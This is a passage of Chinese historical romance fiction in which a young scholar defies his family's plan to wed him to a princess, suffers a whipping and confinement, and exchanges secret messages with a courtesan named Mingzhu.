郭夫人压不住眉梢眼角的喜色,攀住他手:“泽儿,是一桩天大的好事,因先前音信未定爹娘暂未告诉你,眼下却已差不多了。今日上午我去龙华寺烧香,可巧遇见晋王妃,王妃携我同行,相谈甚欢,顺势聊起儿女婚事,说小郡主去岁已及笄,少不得为其婚事早早考虑,但郡主宠惯大的,左看一个不满意,右挑一个不愿意,偏生王妃提及你时,郡主一时没吭声,再一看,倒有些红了脸。” 郭夫人说着语气已难掩骄傲,仔仔细细打量起儿子,见其眉如墨画,目若朗星,实在一副好相貌,不由笑意更浓。 “当时王妃心里就有了底,旁敲侧击之下才知,那回你打马游街,小郡主便是在街楼上见了你一回,故而念念不忘……这倒也正常,我儿惊才风逸,哪有姑娘不喜欢呢。” 凌岁 津却无半分被夸赞的高兴,反倒心微沉下来。 正要开口,母亲又道:“你别急,先听我说,今日我与王妃聊着聊着,索性就在大殿中请师父给你们合了八字,欸呀,你不知道,那简直就是天造地设的一对!” “母亲!”凌岁津再忍不住,站了起来。 凌敬沉声:“坐下回话。” 凌岁津没有遵从。 凌敬眸光压暗,一声不响地看着他,威压似利刃逼近。 坐在父亲旁边的凌茜下意识缩了缩脖子,不敢说话。 郭夫人见父子二人情绪不对,忙问怎么了。 凌岁津缄默着,不知如何解释。 半晌,他才深吸一口气:“请母亲不必为我婚事费神,儿自有主张。” 郭夫人有些懵,儿子自小乖巧听话,除去读书一事无须人操心外,事事皆是由她亲自安排妥帖的,怎么到了婚姻大事反倒“自有主张”起来。 但她意识到什么,问:“我儿是有心悦之人了?是哪家的千金?” 凌岁津不语。 凌敬开口:“你敢同你母亲说实话吗?” 凌岁津立在那儿,似说不出话。 郭夫人已察觉出此事不对,追问起凌敬来。 “到底什么事?” 凌敬冷笑,语带讥讽:“你养的好儿子,你该问他。” 郭夫人心中愠怒,拍案而起,厉声责问:“你去南浔阁一事我已不追究了,你无端罚泽儿跪祠堂我也可以作罢,如今你又发什么疯?摆什么阔?我养的好儿子?我养的当然是好儿子!所以,你不是他父亲?他不是你儿子?你敢说声‘是’,我就立即向你下跪道歉!” 这话说得严重,但话赶话时,都是寻着刺说。 凌岁津深知关于他的事瞒不了多久,母亲势必会知道,不曾想竟这么快。 他原准备等一等铭竹的态度再行其事,谁知上天偏爱不如人意。 事已至此,他自然不能任由父母矛盾激化而坐视不理,因而在父亲怒气发作前,先一步上前,挡在二人之间,也挡住了父亲的视线。 “母亲。”他眉峰轻蹙,满脸羞愧,“我亦去了南浔阁,且那晚……醉酒失态。” 郭夫人愣了愣,忽而脸色惨白。 “你……你是说……” 她遂又摇头,坚声道:“不,不可能,我的儿子我了解,绝无可能去那种地方眠花宿柳。” 她试图从儿子眼中寻到转机,但并没有,结合凌敬对凌岁津莫名其妙的罚跪与态度,她哪里还猜不到到底发生了何事。 但她反应极快,握紧凌岁津的手。 “母亲今日在外并未听到任何风声,可见晋王府那边必是不知情的,你父亲乃朝廷二品大员,这点事不算什么,你且宽心,当作从未发生过就好,更不用担心与郡主的婚事……” “母亲。” 凌岁津目中一片澄净赤诚,也很平静。 烛光浅照,他像月下清冽透亮的玉。 “请母亲拒掉这桩婚事,否则我明日亲自去说。” 凌敬在身后斥道:“你敢!” 凌岁津转身,望向父亲的眸光十分坚定。 “我敢。” 12.决定 正听是个滑头,仗着主子宽厚,平日偷奸耍滑算不上,躲懒却不在少数。 例如凌岁津给了他十两银子跑腿费时,他却未直言相告他,南浔阁白天是不开门的。 十两银子太多,正听拿着银子先去各大铺子逛了一圈,又买了酒菜去看正言,哥俩吃吃喝喝侃大山。 正言伤得不轻,却没动到筋骨,主要还是皮外伤,但实在怕凌敬,想着干脆多养一段时间再回府,反正公子也不会苛责。 到了傍晚,正听才往南浔阁走,春日里太阳下山后还是有些凉,风一吹酒就醒了,他走进南浔阁一楼大厅点了壶茶。 南浔阁不缺客人,没开门就有不少人等着,不过这些人大多都是和他一样上不了楼的。 不多时大厅坐满,丝竹管弦之声丝丝入耳,间或几位美娇娘提着裙裾,腰肢款摆地来往一二楼之中。 正听看得眼热心痒。 不过,花魁铭竹姑娘可没那么容易见到。 他虽偷懒爱玩,主子交代办的事倒也尽心尽力。 正听先是问了阁中小厮,人家拿眼将他上下一瞅,没告诉他铭竹姑娘的半点事就走了。 得,这样的态度他哪敢直接将信交出去。 直到一壶茶喝完他也没想出好办法,只有个无赖的念头——偷偷溜上楼。 他出门绕了一圈,摸进了当初凌岁津出来的那个巷子,那儿有道后门他是知道的,平日供阁中人出入。 只是那门紧闭,他拉了半天也没拉开,正寻思要不还是回去找一楼的小厮带信时,门忽然从里开了。 小九警惕地瞪着门外,巷子里没灯,黑得看不清人。 “鬼鬼祟祟干什么的?小心我找护卫打你。” 正听忙低声道:“我找铭竹姑娘,我家贵人与她相识,给她带了一封机密要紧的信。” “找我铭竹姐?那可不行,不过信我倒是可以替你带,五两银子。” “五两?!” 抢钱啊。 他花到现在就剩四两了。 “三两,不行免谈。” 小九欲关门,被正听把住。 “我信不了你,我家贵人乃朝廷要员,除非你让我亲手把信给铭竹姑娘,我可以给你四两。” 小九眼珠一转,答应了。 “不过,得等到后半夜,我铭竹姐现在可没空。” - 没空的铭竹希望自己有空,因为今晚白恒一又来找她了。 似乎因她所求所惧,他也理所当然地将她视作了他的人。 铭竹在这南浔阁中,本就不属于自己,不是他的就是他的。 这是男人争权的把戏,她只能随波逐流。 但她实在有些厌恶白恒一。 凌敬此人虽阴狠冷漠,自视甚高,却偏偏因这份倨傲而不屑碰她,他真的只是来听她的琴曲。 白恒一则是伪君子。 无论他心思怎样下流龌龊,说出口时却又道貌岸然。 他会说心疼她的身世,怜惜她的处境,欣赏她的聪慧,然后顺理成章地对她触碰。 不过这份“触碰”还要伪装成“吸引”,吸引铭竹对他主动,才能满足他隐秘卑劣的自尊。 好在也是在南浔阁,他不便强迫于她。 只是铭竹蹙一下眉,或迟疑一瞬,就好似戳中了他敏感脆弱的神经一样,让他暴怒。 他亦是个喜怒不形于色的人。 心思不摆在脸上。 只有气氛微微结冰。 铭竹对这些很敏锐,立即起身施礼。 “大人想要的,铭竹无不愿奉上,只是今日身子不便,怕弄脏了大人的衣摆。” 白恒一神情未变,依然那副温和模样。 他不看铭竹,低着头摆弄茶具。 “你的风骨,清高,是不错的,但,过犹不及。” 他倒了茶水在盏中,又不喝,随手泼在了铭竹裙角鞋面。 铭竹后退半步,蹲下身子,低眉顺眼地用帕子去擦。 他坐着,低头看铭竹,嘴角才露出一点讥笑。 在他眼里,铭竹只是玩物。 所谓才情美貌,风骨气韵,不过是花瓶的款式颜色,无论如何,还是一个花瓶。 就是让人赏玩的。 当他想要插花时,花瓶不能有异议。 干插也好,灌水也好,甚至拿去当尿壶,也只能随他处置。 不过现在嘛,倒也不急。 要等铭竹走出南浔阁。 白恒一走后,铭竹在屋内静坐了会儿才回五楼。 她阅人无数,见惯了这些权贵的变态。 白恒一这种人是她最怵的。 不知他从小到大是何经历,养成了这副敏感自卑又自负压抑的性子,善以平和姿态居于高位,向下位施舍,享受下位的感激与崇拜,若有一丝一毫不符他心意的,他才会暴露出本来面目,施以惩戒。 与凌敬这种杀伐果断的人相比,显然白恒一更喜欢温水煮青蛙,喜欢假装平等的高高在上,以他人的仰视与恐惧为食。 铭竹不禁想,为从凌敬手里自保而投向白恒一,是否是一步错棋,只怕真正走出他偏院那日,她也被折磨得破烂不堪了。 但她,还有别的选择吗? 走进南浔阁的人里,谁还能和凌敬抗衡。 她才回屋不久,门便被敲响。 门外站着小九。 小九龇牙笑:“铭竹姐,我能带个人来见你一面吗?就一面,他说他替他主人带信给你。” 铭竹问:“你收了多少钱?” 一下就被拆穿,小九牙花立收。 “……就二两。” 铭竹关门。 小九赶紧重敲:“铭竹姐,是四两!四两!” 门打开,铭竹伸出手,微笑不语。 小九垮着脸,将四两银子全给了她。 铭竹没收了三两。 “带他从暗道上来,我只给你一盏茶时间。” 小九转身就跑。 片刻后铭竹就见到了人,她并不认识,那人见了她却呆住了,双眼瞪大,放光,不自觉傻笑。 铭竹提醒:“信?” 正听这才回过神,从怀里掏出皱巴巴的信封给她,目光忍不住又再次惊艳地落在铭竹身上。 苍天,祖宗,他见到南浔阁花魁了! 怪不得他家老爷来了南浔阁好几回,怪不得他家公子一面就念念不忘,宁可爬狗洞出去也要见她。 这搁谁身上能忘得了?! 他这辈子做梦再梦见仙女,只怕都要长这样了。 可他只来得及看一眼,门就被小九关上了。 “快跟我走,要是被人发现就完了。” 正听脚下生钉,被小九拽得一个踉跄,险些将门牙磕掉。 这小鬼头,力气这般大! 他频频回头,那扇门终是没再打开。 门后,铭竹已看完了信。 她有些惊讶,这信竟是凌岁津写的。 信很短,几行字而已,内容更是简单,是澄清他婚事系谣传,并再次向她承诺会对约定守信。 铭竹一时心绪复杂。 凌岁津合该已知晓了她私藏玉佩用以要挟之事,如何不为所动? 一而再,到底是真情还是假意? 风月场中,她见得太多,早已不信真心。 所谓君子,只在圣贤书里。 铭竹倚门而立,深感疲倦。 凌岁津与她,完全谈不上感情,到底何以促使他这样做? 果真不是天真幼稚,亦或愚弄她吗? 所谓婚姻大事,乃父母之命,他家人断然不会同意她进门,凌岁津又要如何去争? 难道他要为了她这样一个几乎称得上素不相识且又算计过他的人,做个不孝子吗? 她想不通。 可铭竹一闭上眼,白恒一的脸却浮现眼前,令她几欲干哕。 她慢慢呼了口气,胸腔闷烦郁结,难以抒发。 坐到梳妆镜前,她重新审视自己。 眉间锁着淡淡愁绪,似朦胧烟雨,那双极美的眼,也被衬得雾蒙蒙的,褪去刻意媚态后,即便眼尾上扬,也只余天然去雕饰的灵动。 是一副好相貌,极好的相貌。 令人见之难忘。 凌岁津,是迷恋上她这副皮囊了吗? 还是,她那夜带给他的欢愉? …… 她总要找个理由才能说服自己。 铭竹再次打开门,唤来小九,将一块玉佩交到他手上。 “方才送信那人若是还没走,你就将这块玉佩给他,若是他已走了,你就替我天亮后送去凌府,别自爆身份,只说是你捡的。” - 正听回府前,拿着那块玉佩又多看了几眼。 的确是公子的随身之物。 先前他还问过公子,为何不佩玉了。 公子说他多嘴。 原来玉在铭竹姑娘手里。 可怎么又叫她还回来了呢? 没看上我们公子? 胡乱想着,正听已摸黑翻墙入府,一路进了卿月院。 天上无月,廊下悬的宫灯已亮了起来,扯着摇曳不安的竹影。 他先在窗下探了一眼,见凌岁津不在屋里,便又赶去书房,依然没人。 这么晚了公子居然不在? 莫非还在老爷夫人那边? 正听正奇怪着,抬脚往下房去,却在转角处险些撞到一个丫鬟,被人劈头盖脸说了一顿。 “这样毛手毛脚,怪不得服侍不了公子。” 正听莫名:“你谁啊?” “我是琉光,夫人拨我来卿月院伺候公子。”那丫鬟瞥了正听一眼,“夫人说了,这院里的人以后都得听我的,再有什么不三不四的事,通通打发了去。” 好大的威风,卿月院还从没有什么贴身丫鬟呢。 正听懒得当下计较,便问公子呢。 琉光皱着眉,顿了顿才说公子被老爷责罚,受了一顿家法,如今关在了祠堂。 正听吓了一跳,转身就要往祠堂去。 琉光喊:“你做什么去?老爷正在气头上,吩咐过任何人不得看望公子。” 正听充耳不闻,转身就走了。 我管你这儿那儿的,那是我的主子。 他一路做贼似的避开人,踩折了一棵紫薇树,三两步蹬上墙跃了进去。 “公子……公子……” 他扒着门缝向里喊。 祠堂外黑黢黢,阴森森的,唯有门缝里透出几片摇摇晃晃的烛光,薄如蝉翼,更显诡异恐怖。 透过门缝,勉强能看见一个跪在牌位下的人影。 听见他喊,人影才略动了动,只是姿态僵硬,撑坐许久才起身走到门边,露出一片云纹刺绣的衣摆。 凌岁津声音很轻,似在强忍痛楚。 “正听,你怎去这么久?可是遇见了什么麻烦?信送去了吗?铭竹姑娘可有说什么?” 一块玉佩从门缝中被塞了进来。 正听道:“公子,铭竹姑娘没说什么,但她给了我这个。” 13.形势 透过门缝一道扇形微光,正听看见公子将手腕的袖子挽起,拂过手上的灰尘才拾起那枚玉佩。 他的手有些颤抖,声愈发轻。 “铭竹姑娘她……愿意。” 她愿意,给他一个弥补错误的机会。 她愿意信他。 正听急声问:“公子,先别管铭竹姑娘了,我回来时听说老爷责了你一顿家法,这是怎么了?你严不严重啊?” 凌氏家规甚严,家法亦是。 不过正听在凌岁津身边,只见过两次,两次都是凌岁津的族中兄弟犯错,开了家祠受罚,凌岁津随父一道从旁默观,以思自省。 家法内容差不多,一般是父亲拿戒尺或戒鞭,当着族人面,在祖宗牌位前狠狠打三十下,再跪上一晚,直至认错。 凌岁津从小到大一直是族中榜样,几乎连句重话都未受过,何况家法。 今日谁都没想到,凌敬竟气成那样。 因是在晚饭后,倒也没兴师动众地邀什么族人来看,凌敬作为大房长子,又身居高位,无须他人见证,直接便能动刑,打了凌岁津三十鞭后又罚他跪在家祠,除非认错,否则任何人不许求情。 郭夫人心疼坏了,姨娘田氏谢氏也听说了纷纷赶来,可无论怎样拦,这三十鞭还是结实打在了凌岁津身上。 祠堂的门关得严实,凌敬亲自上了锁,谁都进不去。 若非正听有些本事在身上,也爬不进来。 听正听问,凌岁津握紧玉佩,倒轻松笑了笑。 “不要紧,这顿打早晚要挨的,我受得住。” 他没有多解释,只怕说多,给铭竹带去是非更多。 毕竟眼下仍未尘埃落定。 “还有两个时辰就天亮了,你快些离开,我在这里无妨。” 凌岁津落下这句,便攥紧门框起身,指骨在昏暗烛光下因用力泛白。 正听没舍得走,却又不知还能做什么,只好扒着门缝望。 凌岁津踉踉跄跄走过去,跌坐在蒲团上,背疼得弓起,缓了好久才慢慢跪好,像一株绿竹抖落了风雪。 - 郭夫人一夜未睡。 凌敬睁眼时,在浅淡天光里见一人影散发独坐,惊得睡意散去九霄云外。 他无奈叹了口气。 “夫人。” 郭夫人坐在窗前,目光融在冥冥夜色里,并未回头。 “泽儿自小体弱,眼下伤得那样重还被关在祠堂一夜,你倒睡得好,不愧是用惯了刑罚的刑部尚书,冷心冷肠。” 凌敬坐起来,沉默穿了靴子。 郭夫人平静道:“我想过了,你同我是过不下去的,当年你说不纳妾如今也有了两个,还去南浔阁那等地方风流,将儿子也连累了。所谓子不教父之过,你不自省,只一味怪他,真是个好父亲呐。” 她转过头,侧脸轮廓被晦暗天色勾勒得不甚明晰。 “子恭,这些年我同你吵太多次了,实在不想吵了,你既对泽儿这般狠心,不如索性将他打死,我也随他去,此后家里随你怎样,你看如何?” 凌敬默了默。 “泽儿是我儿子我才这般严厉,他天性单纯,容易被骗,若不家法严厉,只怕难长记性,以后在官场上吃大亏。” 郭夫人冷笑一声。 “别扯那些大道理,那个青楼女子不是你先招惹的吗?我只问你一句,何时放他出来?还是要看他死在里面才罢休?” 凌敬走到架子旁取下官服穿戴。 “不是一个青楼女子这么简单。” “那就是晋王府了?怎么?郡主还愁嫁不出去,非得跟我们家结这桩亲?尚无媒聘,不过是王妃与我几句口头约定而已,推了又能如何?” “……说得容易。” 凌敬扣上腰带。 他本不欲在家里过多提及官场之事,但眼下凌岁津卷了进来,妻子又如此大动肝火,他不得不将个中利弊说得更清楚些。 当今天子圣体不豫,多有病忧,储贰人选却还迟迟没有落定,朝臣自然各有心思。 皇帝本有四位公主,三位皇子,陆陆续续夭折,如今只剩两位公主,和一位才满一岁的小皇子。 皇子太小,坐不稳江山,于是朝中派系分化。 一派支持晋王摄政,扶持小皇子登基,另一派则支持皇帝从宗室中挑选合适的孩子立嗣,让晋王离京就藩。 晋王身为皇帝的亲叔叔,这些年一直盘踞京城,虽不参政,却明里暗里在朝中培植了不少党羽。 五年前那桩大案牵连甚广,不过是皇帝藉此剪除晋王羽翼罢了。 大大小小的官员换了不少,当时的刑部尚书也在此案中倒台,由凌敬替上了这个位置。 一桩大案,越往下,越免不了株连影捕的冤情,这点凌敬心里明白。 但涉及党争,他不能公开提翻案。 如今局面,他的位置是个烫手山芋,明面上他是天子任命,近来却又与晋王走得近。几乎满京皆知,晋王要将郡主许配给凌岁津,两家结秦晋之好,自然而然就是同盟。 这是晋王有心运作的结果。 他即便不想站队也不可能,难道还能公然拒婚? 但他无论同不同意这桩婚事,他都被迫卷入党争,连凌岁津也不可避免。 如今皇帝已不信他,去岁夺情起复了白恒一,与他成敌对之势,他除了倒向晋王,已无路可选。 若此时岁津拒了婚事,公然打了晋王的脸,晋王要怎样想他? 在上下眼中,他便是首鼠两端,里外不是人。 如果一开始凌岁津不在意去过南浔阁,也不在意铭竹,那么他只需要处理掉铭竹即可,只是麻烦些罢了,但如今他一向乖巧懂事的儿子竟为了一个青楼女子连番忤逆他,他才真的进退维谷。 为今之计,他只能先关住凌岁津,他若听话,想通了,此事倒也好办,若还要叛逆,那他身为父亲,也不介意让儿子吃点苦头当作教训。 个中曲折他没法全部说给妻子听,只言简意赅道了一番。 郭夫人也是聪明人,大致明白了。 但她身为一个母亲,仍难以谅解。 “说到底,你是想拿儿子的婚事给你的仕途铺路。” “随你怎么想吧。” 天已彻底亮了,凌敬洗了脸,往外走去。 “钥匙我留给你,他若服软,就回卿月院养伤,我会派护卫看着他,这段时间我给他告个病休,他不必 出门了,晋王府那边我会亲自去一趟。” - 铭竹近日心中愈发不安。 那日她将玉佩奉还,凌岁津应当是收到了,可连接几日再无动静。 凌敬也未再来南浔阁。 眼下她手中还有一块凌岁津的玉佩,是她最后的筹码。 直到第三日,她才从季原口中探得些消息。 据他说,凌岁津告了病假,几日没去翰林院了。 怎会好端端病了? 铭竹回想起当日所见,凌岁津虽形容狼狈,膝盖有伤,精神却是不错的,不至于因此病倒,何况后来他还让人带了信给她。 难道,他是反悔了?要就此与她断了联系?…… 也对,凌家那样高的门楣,她即便未沦落风尘,也是够不上的。 何况凌敬对她已有杀意。 铭竹注视着铜镜,心道,蒋铭竹啊蒋铭竹,你怎么也天真起来。 她取出那块玉佩摩挲,眸底缓缓沉静。 她在南浔阁已待不了多久,南浔阁不会冒着得罪一位朝廷要员的风险来保她。 昨日老鸨与龟公一起来找她,企图试探出她是如何得罪了凌敬的,虽无果,但他们心有忌惮,已有别的打算了。 她自然也不能一直待在这里,她得为自己赎身,等凌敬替父亲翻了案,便尽早踏上去岭州的路。 目前她一旦离开南浔阁,只能去找白恒一庇佑。 一想到此点,她又生理性泛起厌恶。 她脑中思绪纷乱,连赤梨都看出她心神不宁了。 “你怎么了?难道是因为凌大人不来听你弹琴了?可你多威风啊,就算少了一个凌大人,不又来了个白大人吗?白大人也是顶级大官啊。” 铭竹疲于同她说什么,懒懒躺在榻上。 赤梨却不依不饶坐到近前:“你知道吗?渺渺替自己赎身了,她去给那个让他小产的男人当妾了,那个男人总算还有点良心。” 铭竹扭头:“良心在哪?流的孩子是他的,赎身钱却是渺渺自己攒的,伤了身子再难有孕,这般进门,何以立足?” 赤梨说:“那也总比在南浔阁好啊,妈妈知道她怀了孩子伤了身子,都要把她卖了的,卖给人家为奴为婢,还不如做个姨娘,好歹算半个主子。” 铭竹拿眼觑她:“你是想早日给季原做妾吧?他可曾向你提过一回?” 赤梨摆摆手帕,十分乐观:“欸呀我这般年轻貌美,早晚的事,他那夫人已人老珠黄了,哪里比得上我。” 铭竹闭上眼,懒得再说。 赤梨凑上来贴着她耳朵,笑的得意:“季大人三十多岁,年轻力壮,长得也不错,可白大人是个老头,头发花白满脸褶子,难看死了,所以你是嫉妒我吧?” 安静片刻,铭竹侧身,支起脑袋朝她坏坏地笑。 “我还有位更年轻的贵客要替我赎身呢,年方十七,家财万贯,才貌双全,还说要娶我做正妻。” 赤梨撇嘴:“鬼信,我怎么没见过这人呢?” 话音刚落,她却隐约想起什么,一下又记不清楚。 敲门声打断思绪。 小九在门外悄声喊:“铭竹姐,铭竹姐,我又得了四两银子。” 14.坦言 赤梨快步拉开门:“小九,哪又搞了银子来?” 小九一愣,眼珠转道:“赌钱。” 赤梨来了兴趣:“赌钱好玩吗?改明儿带我去一个呗。” “不好玩,输得也不少……还被铭竹姐骂。” “欸呀,你管她干什么,我又不骂你,我……” 铭竹将赤梨轻推出去,反手将小九拉进来,关上门。 赤梨在门外生气跺脚:“我没说完呢!蒋铭竹!” 铭竹笑看向小九,好个机灵的小子,上回她只是嘱咐他,若那日送信的小厮再来,仍可带来见她,不曾想他不但又得了钱,还学会了掩人耳目。 听得赤梨走远,她才将小九放出去,小九寻个没人的时候果将人带了过来。 铭竹微讶,眼前小厮却非上次那个小厮,但小九抢先解释:“他们是一家的。” 正言眉头拧着,吃痛叫了两声,一路嘀咕小九拽得他生疼,毕竟他伤还没好利索呢。 可一见到铭竹,连伤也忘了疼了,不自觉咧嘴笑,面颊通红,还有些不敢看她。 “带信来的吗?” “不,不是……” 被铭竹一问,正言才想起来意。 据他说,他家公子被老爷责了家法,关在自家院里不给出门,院外有侍卫守着,院里又被夫人拨了好些人来伺候,正听也没法离开很久,只好溜出去一小会儿把公子要给铭竹姑娘说的话转达给正言,让正言来找铭竹。 正言本以为要等很久才能见到铭竹,没想到一到那巷子就被小九拽住,问他要四两银子,反倒叫他吓了一跳。 铭竹听罢倒也无甚反应,只问:“凌公子要同我说什么?” 正言道:“公子说,请姑娘再等几日。” 等几日? 铭竹心中思忖,又问凌岁津眼下如何。 正言摇头,说自己进不去卿月院,正听虽在卿月院,可却进不得屋,只能悄悄隔窗问一声。 不过有大夫不断出入,又偶尔夜里听得几声低咳,想是染了风寒。 铭竹怔然。 原来不仅是被关了,也当真是病了。 既在病中,却还记得让她放心…… “我知道了。”铭竹应了声,让小九送他离开。 正言急声道:“铭竹姑娘,我家公子就是因为那晚留宿南浔阁才被罚的,先前被罚跪了祠堂,如今又受了家法,那可是狠狠三十下鞭子啊!我家公子从小锦衣玉食,细皮嫩肉,何曾受过这样的罪!而且公子体弱,养了这些年也比别人差些,这一病还不知何日才能好呢。” 他说得愈发动情,声已哽咽,抬起袖子拭泪。 铭竹便问:“那你希望我做什么?” 正言说:“姑娘无论如何留几句话给我,我好带回去说给公子听,至少也让他心里宽慰宽慰。” 几句话倒没什么。 可是,说什么呢。 铭竹略一想,转身从柜子里翻出罐药膏来给他。 “对皮外伤很有用,若他用不上,你便留着用吧。” 正言握着药膏有些激动:“姑娘,话呢?再说几句话吧。” 铭竹遂轻吟了句:“风雨如晦,鸡鸣不已。既见君子,云胡不喜。” 正言没听懂,还想再问,被小九硬拽出去:“又不是说给你听的,问那么多干嘛,四两银子的时间已经到了。” “……” 将人送走,小九又飞快溜了回来,好奇向铭竹问起他们的身份。 铭竹说就是上回他在四楼撞见的那位公子的随身小厮。 小九问:“那位公子是谁啊?怎么偷偷摸摸的?” 铭竹笑道:“他就是凌大人的儿子,叫做凌岁津。” 原来是凌大人的儿子,小九恍然。 他是见过凌大人的,尤其是那天铭竹姐的卖场上,那凌大人不声不响地坐在一扇屏风后,很是吓人。 他分明来得最晚,却坐了最好的位置。 当时场下许多客人,捧铭竹姐那夜场子的不是王孙公子便是达官显贵,但他一来,他们便都安静下来,再无人同他争。 小九向他奉茶时,只被他看了一眼,就吓得险些将茶打翻。 说来,他虽在南浔阁中见过些“世面”,却也分不清这些贵人的尊卑等级。 后来铭竹告诉他,凌大人乃刑部尚书,掌牢狱刑罚,南浔阁中这些人虽厉害,可若犯了罪,十有八九得落到他手里去。 他听后差点做了几日噩梦。 梦里都是他下大狱,被绑起来鞭打火烧,问他招不招的画面,还有不绝于耳的惨叫声。 他哭醒后记起幼时回忆,他的父亲就是这样死的,他跟母亲使了银子去牢里看过父亲一次,吓得连日高烧,几个月后父亲就被砍了头。 再后来,母亲改嫁,他就被卖进了南浔阁。 铭竹正是知晓他身世后,才格外对他好的。 “凌大人这么厉害,凌公子怎么不走大门?” 小九问。 铭竹从梳妆台的抽屉里取了个木盒出来,闻言答道:“可能他不愿让人知道吧。” 她将那木盒递给小九,笑道:“我在这里待不长久,之前扣你那些银子是怕你赌钱吃酒,如今都还你。” 小九接过,打开来看,先是愣了愣,而后又把木盒塞回她怀里。 “铭竹姐,你要去哪儿?你是花魁呀,难道是白大人或者凌大人要替你赎身了吗?” 铭竹沉默半晌,才低低叹了口气:“宁可是凌大人,也不愿是白大人,我有些怕他。” 小九不大明白。 凌大人那么吓人,铭竹姐不怕,却怕温文尔雅的白大人。 铭竹摇头,不欲解释。 似她这般,一片飘零的秋叶,随风而已。 - 凌府,卿月院中。 郭夫人已哭得双眼红肿。 丫鬟端来饭食时,她摆了摆手让其退下。 儿子已三天未进水米,虚弱得起不来床,她又岂能吃得下去。 姨娘田氏打了帘子进来,见状轻叹。 “谢芷和茜姐儿在陪着泽哥儿,夫人不必太担心了,自己的身子也重要。” 郭夫人按着眼角泪渍。 “我明白,他是故意同我和老爷置气呢,怪不得老爷前些天那样气得极了,原来还有这桩缘故。” 她原以为只是为了凌岁津夜宿南浔阁一事父子俩产生矛盾,何况凌敬翌日一早同她解释时也同样未提儿子别的心思。 于是凌敬一走,她便拿着钥匙开了祠堂的门,让人将凌岁津接回了卿月院。 望着儿子那一身伤,她简直心如刀绞,恨不能替他受了,急急差人去找大夫来看。 待换了衣裳,上了药,她欲同儿子苦口婆心劝慰他服个软时,儿子说的一句话令她如五雷轰顶般僵在原地。 他说:“我愿母亲拒这桩婚事不为别的,只为我已有想娶之人。” 她随口问是哪家姑娘。 凌岁津忍痛坐起,脸色苍白,汗湿墨发,目光却极为专诚。 “请母亲成全,正是南浔阁的铭竹姑娘。” 郭夫人霎时大脑一片空白,只觉耳中轰鸣,心跳手抖,连眼也要看不清了。 “……谁?” 她不死心地又问了遍。 凌岁津一字一顿。 “铭竹姑娘。” “你疯啦!” 郭夫人尖叫出声,险些一个踉跄摔得后仰过去。 凌岁津惊得伸手扶她,反被她猛地推开。 “不可能!绝无可能!她是个青楼女子!你青天白日地说梦话呢!” 郭夫人瞪大了双眼,实难相信,用一副通红的目含泪盯着自己的儿子,仿佛不认识一样。 她试图从凌岁津脸上分辨出玩笑之意,却没有成功,向来乖巧听话的儿子此刻面对她的惊恐,无丝毫退让,眉目间依旧郑重肃然。 “泽儿!”她又重新扑过去,“泽儿!你同母亲重说一遍,你方才说的不是认真的,你说!” 郭夫人乃出身世家,眼下却已顾不上半点贵族仪态,浑身瘫软,泪珠滚滚。 凌岁津亦是眼眶泛红,他轻轻推开母亲,艰难下了床榻,双膝下跪。 “母亲,铭竹姑娘原是清白之身,却因我而毁,我自当弥补过错。君子守诺,若失信,唯以死明志。” 说罢伏地不起。 郭夫人彼时见儿 子疼得浑身发颤,却仍不认错的模样,当真是又心疼又气极,不由得捂住心口,呼吸急促。 她一言不发,转身就走。 留下同样一脸震惊的田氏与谢氏面面相觑。 她不松口,凌岁津却当真与她较劲起来。 不肯上药,不吃东西,任由伤痛折磨。 他未足月出生,本就比旁人体弱,不肖两日就病倒了,发起高烧,浑身冷颤,那背上的伤因不上药,已有溃烂之势,触目惊心。 她心疼得不行,却又断不可能答应如此荒唐的要求。 凌敬得知后,脸色更是阴沉得可怕,冷声说他要死便死,死了清净。 这话让郭夫人怒不可遏。 “你要看着泽儿死,就先杀了我!他与你比又如何?难道田雪彤一个女奴出身就比青楼高贵到哪里去吗?谢芷还是他人之妻!凌泽若是荒唐,你这个父亲更是无耻至极!” “你——你——” 凌敬一双锐目瞪得浑圆,却说不出反驳的话来。 他捏着拳在屋里踱步几圈,才烦躁道:“至少我娶的正妻是你这位世家贵女……现在晋王府那边我也骑虎难下,抬个妾进门还好说,娶为正妻简直是天方夜谭。” 妾……让一个风尘女进门,哪怕做妾,都让郭夫人觉得恶心。 可眼下又能如何呢。 郭夫人缓缓闭眼,滑下两行泪来。 也不知那花魁是什么狐狸变得,竟让一个好好的孩子迷了性子。 可若非凌敬往南浔阁跑在先,儿子为了她心里好受,又岂会去那等地方劝父亲回家,又如何会招惹上那狐狸精…… 这父子俩……难道是命吗?…… - 谢氏走进里屋时,凌岁津还在侧身昏睡着,凌茜陪在一旁。 她招了凌茜出去,让她不可吵到哥哥。 凌茜点头。 “我会很小声的。” 谢氏想起女儿曾跟她说,岁津想问她关于成婚的准备,当时她听了也以为是与那王府郡主的婚事,未曾想竟是为了那南浔阁的花魁,可见他的确是认真的。 凌岁津也算是她从小看着长大的,是个难得的好孩子,品行高贵,谦和有礼。 他自小一言一行算得上世家公子典范,从不让人操半点心,今春一朝登科,为天子钦点探花郎,更是风光无限,有大好前程。 如何倔成这般呢。 可见,白璧微瑕,便在于此了吧。 谢氏摇头,又嘱咐了女儿几句,便往偏院郭夫人那里去了。 凌茜独自在屋里待了会儿,听到有人喊她。 她探头一看,却是正听在窗外招手。 她跑过去:“怎么了?” 正听小声道:“三小姐,我有句话要带给公子,又不能进去,你替我说吧,不过不能让人知道。” 凌茜问:“什么话?谁说的?” 正听左右环顾,越发悄声:“是南浔阁的铭竹姑娘,公子听了必定欢喜,还有这个……” 他从窗户里递进一个瓷罐。 “这是铭竹姑娘给的药膏,对伤口好,反正你千万千万不能叫夫人她们知道了,不然我肯定会被打死的。” 凌茜犹豫不决。 一家子正为此事生气呢,都是那铭竹姑娘惹出来的事,害得二哥如此,她怎么能替她传话和送东西呢。 正听急道:“唉哟我的小姐,你不是和公子最要好吗?公子为了铭竹姑娘这样难受,你不帮他,就没人能帮他了。” 凌茜这才答应下来:“好吧,不过下不为例。” 刚接过东西就见琉光带人往这边来,正听慌忙跑了,凌茜顺势将药罐塞到荷包里,直等屋里没人了才跑到床前去。 她悄声唤:“二哥,二哥。” 凌岁津被吵醒,眉头紧蹙,禁不住低咳一番,声音沙哑极了。 “怎么了……西西……” 凌茜附耳道:“二哥,那个铭竹姑娘有话要和你说。” “嗯?……” 凌岁津眸底渐渐清醒,忍着疼痛强撑坐起。 “是诗经里的一句。”凌茜道。 “风雨如晦,鸡鸣不已。既见君子,云胡不喜。” 15.所愿 凌茜是读过诗经的,她知道这句话的意思,却不知,铭竹说这句给二哥听,是什么意思。 她问了,但二哥没说。 